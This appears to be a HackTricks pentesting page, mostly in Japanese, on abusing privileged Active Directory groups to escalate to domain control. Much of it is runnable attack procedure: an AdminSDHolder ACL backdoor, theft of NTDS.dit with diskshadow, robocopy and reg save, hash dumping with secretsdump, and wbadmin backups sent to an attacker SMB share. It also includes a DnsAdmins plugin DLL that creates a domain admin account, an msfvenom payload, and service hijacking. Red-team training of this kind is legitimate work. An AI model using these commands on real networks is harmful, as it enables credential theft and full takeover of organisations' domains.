Privileged Groups

HackTricksをサポートする

管理権限を持つよく知られたグループ

  • 管理者

  • ドメイン管理者

  • エンタープライズ管理者

アカウントオペレーター

このグループは、ドメイン上で管理者でないアカウントやグループを作成する権限を持っています。さらに、ドメインコントローラー(DC)へのローカルログインを可能にします。

このグループのメンバーを特定するには、次のコマンドが実行されます:

Get-NetGroupMember -Identity "Account Operators" -Recurse

新しいユーザーの追加が許可されており、DC01へのローカルログインも可能です。

AdminSDHolder グループ

AdminSDHolder グループのアクセス制御リスト (ACL) は重要であり、Active Directory 内のすべての「保護されたグループ」、特に高特権グループの権限を設定します。このメカニズムは、無許可の変更を防ぐことによって、これらのグループのセキュリティを確保します。

攻撃者は、AdminSDHolder グループの ACL を変更し、標準ユーザーに完全な権限を付与することでこれを悪用する可能性があります。これにより、そのユーザーはすべての保護されたグループに対して完全な制御を持つことになります。このユーザーの権限が変更または削除された場合、システムの設計により、1時間以内に自動的に復元されます。

メンバーを確認し、権限を変更するためのコマンドには次のものが含まれます:

Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}

スクリプトは復元プロセスを迅速化するために利用可能です: Invoke-ADSDPropagation.ps1

詳細については、ired.teamを訪問してください。

AD リサイクル ビン

このグループのメンバーシップは、削除された Active Directory オブジェクトの読み取りを可能にし、機密情報を明らかにする可能性があります:

Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

ドメインコントローラーアクセス

DC上のファイルへのアクセスは、ユーザーがServer Operatorsグループの一部でない限り制限されています。これにより、アクセスレベルが変更されます。

特権昇格

SysinternalsのPsServiceまたはscを使用することで、サービスの権限を検査および変更できます。たとえば、Server Operatorsグループは特定のサービスに対して完全な制御を持ち、任意のコマンドの実行や特権昇格を可能にします。

C:\> .\PsService.exe security AppReadiness

このコマンドは、Server Operatorsが完全なアクセス権を持ち、特権を昇格させるためにサービスを操作できることを明らかにします。

Backup Operators

Backup Operatorsグループのメンバーシップは、SeBackupおよびSeRestore特権により、DC01ファイルシステムへのアクセスを提供します。これらの特権により、明示的な権限がなくても、FILE_FLAG_BACKUP_SEMANTICSフラグを使用してフォルダのトラバーサル、リスト表示、およびファイルコピー機能が可能になります。このプロセスには特定のスクリプトを利用する必要があります。

グループメンバーをリストするには、次を実行します:

Get-NetGroupMember -Identity "Backup Operators" -Recurse

ローカル攻撃

これらの特権をローカルで利用するために、以下の手順が実行されます:

  1. 必要なライブラリをインポートする:

Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
  1. SeBackupPrivilegeを有効にして確認する:

Set-SeBackupPrivilege
Get-SeBackupPrivilege
  1. 制限されたディレクトリからファイルにアクセスし、コピーします。例えば:

dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite

AD攻撃

ドメインコントローラーのファイルシステムへの直接アクセスは、ドメインユーザーとコンピュータのすべてのNTLMハッシュを含むNTDS.ditデータベースの盗難を可能にします。

diskshadow.exeの使用

  1. Cドライブのシャドウコピーを作成します:

diskshadow.exe
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
begin backup
add volume C: alias cdrive
create
expose %cdrive% F:
end backup
exit
  1. シャドウコピーから NTDS.dit をコピーします:

Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

代わりに、ファイルコピーには robocopy を使用します:

robocopy /B F:\Windows\NTDS .\ntds ntds.dit
  1. ハッシュ取得のために SYSTEMSAM を抽出する:

reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
  1. NTDS.dit からすべてのハッシュを取得する:

secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

wbadmin.exeの使用

  1. 攻撃者のマシンでSMBサーバー用のNTFSファイルシステムを設定し、ターゲットマシンにSMB資格情報をキャッシュします。

  2. wbadmin.exeを使用してシステムバックアップとNTDS.ditの抽出を行います:

net use X: \\<AttackIP>\sharename /user:smbuser password
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
wbadmin get versions
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl

実践的なデモについては、DEMO VIDEO WITH IPPSECを参照してください。

DnsAdmins

DnsAdminsグループのメンバーは、DNSサーバー上でSYSTEM権限を持つ任意のDLLをロードするためにその権限を悪用できます。これは通常、ドメインコントローラー上でホストされています。この能力は、重大な悪用の可能性を提供します。

DnsAdminsグループのメンバーをリストするには、次のコマンドを使用します:

Get-NetGroupMember -Identity "DnsAdmins" -Recurse

任意のDLLを実行する

メンバーは、次のようなコマンドを使用してDNSサーバーに任意のDLL(ローカルまたはリモート共有から)をロードさせることができます:

dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
// Modify DLL to add user
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
}
// Generate DLL with msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll

DNSサービスを再起動する(追加の権限が必要な場合があります)は、DLLをロードするために必要です:

sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns

For more details on this attack vector, refer to ired.team.

Mimilib.dll

mimilib.dllを使用してコマンド実行を行うことも可能であり、特定のコマンドやリバースシェルを実行するように変更できます。この投稿を確認してください さらなる情報のために。

WPAD Record for MitM

DnsAdminsは、グローバルクエリブロックリストを無効にした後にWPADレコードを作成することで、DNSレコードを操作してMan-in-the-Middle (MitM)攻撃を実行できます。ResponderやInveighのようなツールを使用して、スプーフィングやネットワークトラフィックのキャプチャが可能です。

Event Log Readers

メンバーはイベントログにアクセスでき、平文のパスワードやコマンド実行の詳細など、機密情報を見つける可能性があります。

# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}

Exchange Windows Permissions

このグループは、ドメインオブジェクトのDACLを変更でき、DCSync権限を付与する可能性があります。このグループを利用した特権昇格の手法は、Exchange-AD-Privesc GitHubリポジトリに詳述されています。

# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse

Hyper-V 管理者

Hyper-V 管理者は Hyper-V への完全なアクセス権を持ち、これを利用して仮想化されたドメインコントローラーを制御することができます。これには、ライブ DC のクローン作成や NTDS.dit ファイルから NTLM ハッシュを抽出することが含まれます。

悪用の例

Firefox の Mozilla Maintenance Service は、Hyper-V 管理者によって SYSTEM としてコマンドを実行するために悪用される可能性があります。これには、保護された SYSTEM ファイルへのハードリンクを作成し、それを悪意のある実行可能ファイルに置き換えることが含まれます。

# Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
sc.exe start MozillaMaintenance

Note: ハードリンクの悪用は最近のWindowsアップデートで軽減されています。

組織管理

Microsoft Exchangeが展開されている環境では、Organization Managementという特別なグループが重要な権限を持っています。このグループはすべてのドメインユーザーのメールボックスにアクセスする特権を持ち、'Microsoft Exchange Security Groups'組織単位(OU)に対して完全な制御を維持しています。この制御には、特権昇格に悪用可能な**Exchange Windows Permissions**グループが含まれます。

特権の悪用とコマンド

プリントオペレーター

Print Operatorsグループのメンバーは、SeLoadDriverPrivilegeを含むいくつかの特権を持っており、これによりドメインコントローラーにローカルでログオンし、シャットダウンし、プリンターを管理することができます。これらの特権を悪用するには、特に**SeLoadDriverPrivilege**が昇格されていないコンテキストで表示されない場合、ユーザーアカウント制御(UAC)をバイパスする必要があります。

このグループのメンバーをリストするには、次のPowerShellコマンドが使用されます:

Get-NetGroupMember -Identity "Print Operators" -Recurse

For more detailed exploitation techniques related to SeLoadDriverPrivilege, one should consult specific security resources.

リモートデスクトップユーザー

このグループのメンバーは、リモートデスクトッププロトコル(RDP)を介してPCにアクセスすることが許可されています。これらのメンバーを列挙するために、PowerShellコマンドが利用可能です:

Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"

さらにRDPを悪用するための洞察は、専用のpentestingリソースにあります。

リモート管理ユーザー

メンバーは**Windows Remote Management (WinRM)**を介してPCにアクセスできます。これらのメンバーの列挙は、次の方法で達成されます:

Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"

WinRMに関連するエクスプロイト技術については、特定のドキュメントを参照する必要があります。

サーバーオペレーター

このグループは、ドメインコントローラー上でさまざまな構成を実行する権限を持っており、バックアップおよび復元の権限、システム時間の変更、システムのシャットダウンが含まれます。メンバーを列挙するためのコマンドは次のとおりです:

Get-NetGroupMember -Identity "Server Operators" -Recurse

References

HackTricksをサポートする

Last updated